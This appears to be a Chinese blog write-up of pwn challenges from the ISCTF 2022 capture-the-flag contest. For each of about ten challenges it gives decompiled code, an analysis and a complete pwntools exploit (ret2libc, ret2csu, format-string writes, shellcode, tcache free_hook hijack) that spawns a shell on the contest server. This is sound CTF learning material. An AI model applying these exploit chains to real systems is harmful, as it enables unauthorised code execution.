ISCTF PWN WP 2022

前言

题目归档(部分更新)

easy_ret2libc​

IDA 反汇编代码

// main 函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  const char *v5; // [rsp+38h] [rbp-8h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v5 = "Will you disclose the base address by using printf?";
  printf("%s", "Will you disclose the base address by using printf?");
  read(0, buf, 0x200uLL);
  printf("Victory is coming");
  return 0;
}

// gift 函数
ssize_t gift()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x100uLL);
}

思路分析

第 11 行 read 明显存在栈溢出,且程序没有 canary 保护,故直接控制程序执行流进行以下操作(分别对应 payload1 和 payload2):

  1. 利用 printf 泄漏 printf 的 got 表从而得到 libc 基址,同时进入 gitf 函数再进行一次 payload 输入
  2. 调用 libc 中的 system 函数得到 shell

Exp

from pwn import *

context(log_level='debug', os='linux', arch='amd64')
#p = process('./a')
p = remote('120.79.18.34', 20809)
elf = ELF('./a')
lib = ELF('./libc-2.27.so')

printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
gift_addr = elf.symbols['gift']
pop_rdi = 0x400723
ret_addr = 0x40061C

payload1 = b'a'*0x48 + p64(ret_addr) + p64(pop_rdi) + p64(printf_got) + p64(printf_plt) + p64(gift_addr)

p.sendafter('Will you disclose the base address by using printf?', payload1)

p.recvuntil('Victory is coming')
printf_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(printf_addr))
base_addr = printf_addr - lib.symbols['printf']
sys_addr = base_addr + lib.symbols['system']
sh_addr = base_addr + 0x1B3D88

payload2 = b'a'*0x28 + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
sleep(1)

p.send(payload2)

p.interactive()

guess_number

IDA 反汇编代码

// main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-14h] BYREF
  int v5; // [rsp+10h] [rbp-10h]
  unsigned int seed; // [rsp+14h] [rbp-Ch]
  int i; // [rsp+18h] [rbp-8h]
  int v8; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v8 = 0;
  seed = time(0LL);
  srand(seed);
  puts("Do you want to guess the number in the tense ISCTF competition?");
  puts("Tell me your name:");
  read(0, &aC, 1uLL);
  printf("Ok! Are you ready? %s Let's go!\n", "c");
  for ( i = 0; i <= 99; ++i )
  {
    puts("I will give you a number from 1 to 10000, try to guess it correctly.");
    v5 = rand() % 10000 + 1;
    printf("Enter your number:");
    __isoc99_scanf("%5d", &v4);
    if ( v5 == v4 )
    {
      puts("congratulations!");
      ++v8;
    }
    else
    {
      puts("I'm sorry you guessed wrong");
    }
  }
  if ( v8 == 100 )
    gift(&cmd);
  else
    puts("You lost the game");
  return 0;
}

// gift函数
int __fastcall gift(const char *a1)
{
  return system(a1);
}

思路分析

分析程序可知,通过将当前时间戳作为种子传递给 srand,从而得到伪随机序列,而该完全序列由种子确定,实现时只需要利用相同时间戳得到相同序列即可。此处需注意,时间戳以秒为单位,在程序执行时来得及得到相同的时间戳,故无需绕过或溢出 seed

此外,linux 命令行命令 $0 表示当前脚本的文件名,为system传参 $ 0 即可得到 shell

Exp

from pwn import *
from ctypes import *
import random
import time

elf = cdll.LoadLibrary('./libc-2.27.so')

context(log_level='debug', arch='amd64', os='linux')

seed = int(time.time())
#p = process('./guess_number')
elf.srand(seed)
p = remote('120.79.18.34', 20485)


p.send(b'0')

for i in range(0, 100):
        p.sendlineafter('Enter your number:', str(elf.rand()%10000+1).encode())
      
p.interactive()

inequable_ret2text

IDA 反汇编代码

// main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+10h] [rbp-60h] BYREF
  char v5[56]; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 v6; // [rsp+68h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("Do you know how the strlen function stops?");
  gets(answer);
  if ( (int)strlen(answer) <= 0 )
  {
    puts("Right on! So do you know what a canary is?");
    read(0, buf, 8uLL);
    printf(buf);
    puts("Are you ready? Let's go!");
    read(0, v5, 0x100uLL);
  }
  else
  {
    puts("Maybe you should go and learn.");
  }
  return 0;
}
// gift函数
int __fastcall gift(const char *a1, char *const *a2, char *const *a3)
{
  return execve(a1, a2, a3);
}

思路分析

  1. gets()以\n 为结束标识符,\x00 仍能正常读入,而 strlen()以\x00 作为结束标志,故可在 answer 首位布置\x00,之后写入字符串/bin/sh 同时构造一个符合 execve()函数调用的字符串指针数组
  2. 通过格式化字符串泄漏 canary
  3. 利用 ret2csu 构造三个参数,执行 execve()即可得到 shell

Exp

from pwn import *

context(log_level='debug', os='linux', arch='amd64')
#p = process('./inequable_ret2text')
p = remote('120.79.18.34', 20920)
elf = ELF('./inequable_ret2text')
sh_addr = 0x601098
payload1 = b'\x00'*8 + b'/bin/sh' + b'\x00'*9 + p64(sh_addr)
p.sendlineafter('Do you know how the strlen function stops?', payload1)

p.sendafter('Right on! So do you know what a canary is?\n', b'%19$p')

canary = int(p.recv(18), 16)

pop_rdi = 0x400903
pop_rsi_pop_r15_ret = 0x400901
ret = 0x400606
mov_rdx_r15 = 0x4008E0
excv_addr = 0x601040
print(hex(canary))

addr1 = 0x4008FA
addr2 = 0x4008E0

payload = b'a'*0x38 + p64(canary) + p64(canary) + p64(ret) + p64(addr1) + p64(0) + p64(0) + p64(excv_addr) + p64(sh_addr) + p64(sh_addr+0x10) + p64(sh_addr+0x18) + p64(addr2)

p.sendafter("Are you ready? Let's go!", payload)

p.interactive()

format_string

IDA 反汇编代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rbx
  double buf[15]; // [rsp+8h] [rbp-1F8h] BYREF
  char format[64]; // [rsp+80h] [rbp-180h] BYREF
  char s[300]; // [rsp+C0h] [rbp-140h] BYREF
  int i; // [rsp+1ECh] [rbp-14h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
  puts("Do you know how to find the position of floating point number?");
  printf("Tell me your answer: ");
  read(0, buf, 8uLL);
  if ( buf[0] == 1.97109 )
  {
    puts("Good. Next, try to rewrite a set of data.");
    read(0, format, 0x100uLL);
    printf(format);
    if ( check != 197109 )
    {
      puts("I don't think you've figured out the answer yet.");
      exit(0);
    }
    puts("What's wrong with shellcode?");
    memset(s, 0, 0x200uLL);
    read(0, s, 0x300uLL);
    for ( i = 0; ; ++i )
    {
      v3 = i;
      if ( v3 >= strlen(s) )
        break;
      if ( s[i] > 122 || s[i] <= 47 )
      {
        puts("Your shellcode doesn't seem right");
        exit(0);
      }
    }
    strcpy(gift, s);
    (*(void (**)(void))gift)();
  }
  else
  {
    puts("You were wrong in the first step");
  }
  return 0;
}

思路分析

  1. 浮点数按 16 进制发送
  2. 利用 printf()任意地址写,修改 check
  3. 利用 ae64 构造纯数字字母的 shellcode

Exp

from pwn import *
from ae64 import AE64
context(arch='amd64', os='linux', log_level='debug')

#p = process('./format_string')
p = remote('120.79.18.34', 20028)

flt = 0x3fff8995aaf78fef

p.sendafter('Tell me your answer: ', p64(flt))

check_addr = 0x6010BC

payload1 = b'%197109c%24$naaa' + p64(check_addr)
#payload1 = b'aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
#payload1 = b'aaaaaaaa%22s'
p.sendafter('Good. Next, try to rewrite a set of data.', payload1)

#shellcode = ''
#shellcode += shellcraft.open('./flag')
#shellcode += shellcraft.read('rax','rsp',0x100)
#shellcode += shellcraft.write(1,'rsp',0x100)
shellcode = asm(shellcraft.sh())

p.sendafter("What's wrong with shellcode?", AE64().encode(shellcode))

p.interactive()

csu

IDA 反汇编代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  mprotect((void *)0x905390786LL, 0LL, 0);
  vuln();
  return 0;
}

ssize_t vuln()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  return read(0, buf, 0x200uLL);
}

思路分析

反汇编后发现存在栈溢出,但是无法进行 libc 泄漏,又发现 mprotect 函数可以修改内存页的权限,故尝试构造 ret2csu 调用 mprotect 修改 bss 段位 rwx,再写入 shellcode 执行。

Exp

from pwn import *

context(log_level='debug', os='linux', arch='amd64')
#p = process('./csu')
p = remote('120.79.18.34', 20627)
elf = ELF('./csu')

#gdb.attach(p, 'b main')
#pause()

addr1 = 0x4006DA
addr2 = 0x4006C0
      
def csu(rdi, rsi, rdx, rbp, rbx, r12): 
        payload0 = p64(rbx) + p64(rbp) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi) + p64(addr2)
        return payload0

ret_addr = 0x4006E4
bss_addr = 0x600000
payload1 = b'a'*0x58 + p64(addr1) + csu(bss_addr, 0x1000, 7, 1, 0, elf.got['mprotect']) + p64(addr1) + csu(0, bss_addr, 0x200, 1, 0, elf.got['read']) + b'a'*0x38 + p64(bss_addr) + b'a'*0xe8

p.send(payload1)

shellcode = asm(shellcraft.sh())

p.sendline(shellcode)

p.interactive()

Candy house

IDA 反汇编代码

代码太长了,只贴关键的 solve 函数

__int64 __fastcall solve(int a1)
{
  int i; // [rsp+18h] [rbp-18h]
  int j; // [rsp+1Ch] [rbp-14h]
  int k; // [rsp+1Ch] [rbp-14h]
  int v5; // [rsp+20h] [rbp-10h]
  int v6; // [rsp+24h] [rbp-Ch]
  _DWORD *v7; // [rsp+28h] [rbp-8h]

  v7 = malloc(4LL * (a1 + 5));
  v5 = 1;
  printf("\n\x1B[0;34mThere are %d bags here, \x1B[0m", (unsigned int)a1);
  for ( i = 1; i <= a1; ++i )
    v7[i] = i;
  while ( !(unsigned int)check(v7, (unsigned int)a1) )
  {
    puts("\n\x1B[0;34mcandie(s) in bags:\x1B[0m");
    for ( j = 1; j <= a1; ++j )
    {
      printf("%d", (unsigned int)v7[j]);
      if ( j == a1 )
        putchar(10);
      else
        putchar(32);
    }
    printf("\x1B[0;31mYour choice(1-n, 0 to restart): \x1B[0m");
    v6 = readInt();
    if ( !v6 )
    {
      puts("\n\x1B[0;32mreseted\x1B[0m");
      return 0LL;
    }
    if ( v6 > 0 && v6 <= a1 )
    {
      for ( k = 1; k <= a1; ++k )
      {
        if ( k != v6 )
          v7[k] += v5;
      }
      ++v5;
    }
    else
    {
      puts("\n\x1B[0;31mInvalid index!\x1B[0m");
    }
  }
  return 1LL;
}

思路分析

题意:solve 函数构造一个 n 维向量 solve 函数构造一个 n 维向量 ( a 1 , a 2 , . . . , a n ) (a_1, a_2, ... , a_n) (a1,a2,...,an),其中 a i = i a_i=i ai=i,读取用户任意次输入,其中第 j j j 次输入 k j k_j kj,对所有 i ≠ k j i≠k_j i=kj,执行 a i + j a_i+j ai+j,要求一定次数操作后 n 维向量每项都相等。

思路:其实这也是一个算法题,构造差分数组,对于第 j j j 次输入,输入 k j = j + 1 k_j=j+1 kj=j+1,,即可通过 solve。同时这种构造与 rand 出来的随机数无关,只需循环执行 150 次看回显数据即可。

Exp

from pwn import *

context(log_level='debug')

#p = process('./candy_house')
p = remote('120.79.18.34', 20153)

p.sendline()
p.sendafter(b'Your choice(1-n, 0 to restart): ', '2')
p.sendafter(b'Your choice(1-n, 0 to restart): ', '3')


recv_str = ''
i = 2
for j in range(1, 150):
        payload = str(i).rjust(8, '0')
        i += 1
        p.send(payload)

p.interactive()

nothing_to_do

IDA 反汇编代码

ssize_t fun()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x100uLL);
}

思路分析

题目存在明显的栈溢出,但是不知道 libc 版本,也没有泄漏 libc 的途径,在 ctfwiki 上看见类似题目,使用 partial overwrite,先随机覆盖三个半字节,得到下图 libc 版本。

之后计算栈上含有 libc 地址的位置,获取 one_gadget 覆盖低三字节,部分覆盖进行爆破即可。

泄漏远程libc当前版本可用one_gadget

Exp

from pwn import *

context(log_level='debug')

ret_addr = 0x4011C1
csu_gadget = 0x40124C
pop_rdi = 0x401253
while True:
        #在爆破libc时payload如下,图中在i = 0x17f时成功
        # payload = b'a'*0x20 + p64(ret_addr)*3 + p16(str(i).encode())
        payload=b'a'*0x20+p64(0)+p64(csu_gadget)+p64(0)*4+p64(ret_addr)*16 + p16(0x3afe) + p8(0xea)
      
        try:
                #p = remote('120.79.18.34', 20557)
                p = process('./nothing_to_do')
                p.send(payload)
                sleep(0.5)
                p.sendline(b'cat flag')
                flag = p.recv()
                assert(len(flag)>0)
                print(flag)
                p.interactive()
        except EOFError:
                p.close()
              
              
# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.

nc_pwn

bin 目录下有 read,所以可以使用 read 命令,对利用重定向输入流的操作读取 flag 即可。

结果

babycode

IDA 反汇编代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int num; // [rsp+Ch] [rbp-14h] BYREF
  char *c; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init();
  sand_box();
  puts("easy challenge");
  puts("input a number . honey~");
  __isoc99_scanf("%d", &num);
  if ( num >= 0 )
    bye();
  num = -num;
  if ( num > 0 )
    bye();
  read(0, c, 0xAuLL);
  puts("now enjoy!");
  read(0, page, 0xAuLL);
  page();
  return 0;
}

思路分析

刚开始没给附件,盲注没能成功。

分析反汇编代码知道,此处存在一处整数绕过,发现-2147483648 的相反数仍是-2147483648;接着构造 shellcode,由于字节限制,需要发送两次 shellcode,第一次用于扩大输入字节数。

Exp

from pwn import *

context(log_level='debug', os='linux', arch='amd64')

# 构造长度为0xa的shellcode利用rdi, rsi上原来调用read的数据调用read
shellcode2 = '''
mov rdx, 0x80
syscall
nop
'''

# 在0x400000+0xa处布置接下来的shellcode,因为禁用execve系统调用,故使用orw
shellcode = shellcode2
shellcode += f"""
push 0x67616c66
push (2)
pop rax
mov rdi, rsp
xor esi, esi
cdq
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push (40)
pop rax
push 1
pop rdi
cdq
syscall
"""
payload1 = asm(shellcode)

p = remote('120.79.18.34', 20971)
# p = process('./babycode')
p.sendafter(b'honey~', b'-2147483648') # 取相反数后仍是-2147483648

p.send(b'/bin/sh\x00') # 作为padding即可,随便输入
sleep(1)
p.send(asm(shellcode2))

sleep(1)
p.send(payload1)

null

IDA 反汇编代码

太长了不贴了

思路分析

在函数 edit 内,存在 off by null 漏洞,采用 unsorted bin leak 泄漏 libc,然后利用 Tcache attack 劫持 free_hook,即可 getshell

Exp

from pwn import *

context(log_level='debug')
#p = process('./null')
p=remote('120.79.18.34',20254)
libc = ELF('./libc-2.27.so')
main_arena_offset = libc.symbols["__malloc_hook"] + 0x10u


def create(idx, sz):
    p.sendlineafter(b'4.DEL', b'1')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.sendlineafter(b'Size ', str(sz).encode())


def edit(idx, content):
    p.sendlineafter(b'4.DEL', b'2')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.sendlineafter(b'Content: ', content)


def show(idx):
    p.sendlineafter(b'4.DEL', b'3')
    p.sendlineafter(b'Index: ', str(idx).encode())


def delete(idx):
    p.sendlineafter(b'4.DEL', b'4')
    p.sendlineafter(b'Index: ', str(idx).encode())

for i in range(7):
    create(i, 0xf8)
create(7, 0xf8)
create(8, 0xf8)
create(9, 0xf8)
create(10,0xf8)
for i in range(7):
    delete(i)
delete(7)

for i in range(7):
    create(i, 0xf8)
    edit(i, b'/bin/sh')
create(7, 0x68)

show(7)

p.recvuntil(b'Content: ')
leak_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(leak_addr))
libc_base = leak_addr - (main_arena_offset + 0x60)-0xf0
print(hex(libc_base))
sys_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']
for i in range(7):
    delete(i)
edit(8,b'a'*0xf0+p64(0x190))
delete(9)
for i in range(7):
    create(i, 0xf8)
    edit(i, b'/bin/sh')
delete(8)
create(11,0x88)
create(12,0x68)
edit(12,p64(free_hook_addr))
create(13,0xf8)
create(14,0xf8)
edit(14,p64(sys_addr))
delete(1)
p.interactive()
  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值